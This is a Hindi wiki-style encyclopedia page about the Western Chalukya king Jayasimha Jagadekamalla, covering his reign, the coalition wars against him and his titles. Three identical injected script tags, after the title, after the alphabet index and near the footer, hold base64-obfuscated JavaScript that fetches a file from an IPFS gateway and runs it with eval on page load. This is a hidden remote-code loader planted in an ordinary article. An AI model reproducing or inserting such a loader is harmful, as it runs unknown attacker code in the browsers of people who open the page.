जयसिंह जगदेकमल्ल  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जयसिंह जगदेकमल्ल (1015 से 1045 ई.) को 'जयसिंह द्वितीय' के नाम से भी जाना जाता है। अच्चण द्वितीय पश्चिमी चालुक्यों की बढ़ती हुई शक्ति व दबाव को रोकने में विफल रहा था। ऐसी स्थिति में उसका भाई 'जयसिंह जगदेकमल्ल' उसे गद्दी से हटाकर स्वयं सिंहासन पर बैठा। इसका विरुद्ध 'जगदेकमल्ल' था, जो इसकी वीरता का परिचायक था।

  • जयसिंह जगदेकमल्ल ने 1015 ई. में अपने पूर्वजों की रणरक्त नीति का अनुसरण करते हुए अपने राज्य की रक्षा की।
  • परमार राजा भोज कलचुरि राजा गंगेयदेव तथा चोल शासक राजेन्द्र चोल ने एक संघ बनाकर जयसिंह पर आक्रमण किए।
  • जयसिंह ने इनका सामना किया और इन्हें रोकने में पूरी तरह से सफल रहा।
  • 'तिरुवांलगाडु अभिलेख' में राजेन्द्र चोल को तैलप वंश का उन्मूलक कहा गया है।
  • जयसिंह ने 'सिंगदे', 'जयदेक्कमल्ल', 'त्रैलोकमल्ल', 'मल्लिकामोद', 'विक्रमसिंह' आदि उपाधियाँ धारण की थीं।
  • 26 वर्ष के शासन के बाद 1045 ई. में जयसिंह की मृत्यु हो गई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=जयसिंह_जगदेकमल्ल&oldid=275000" से लिया गया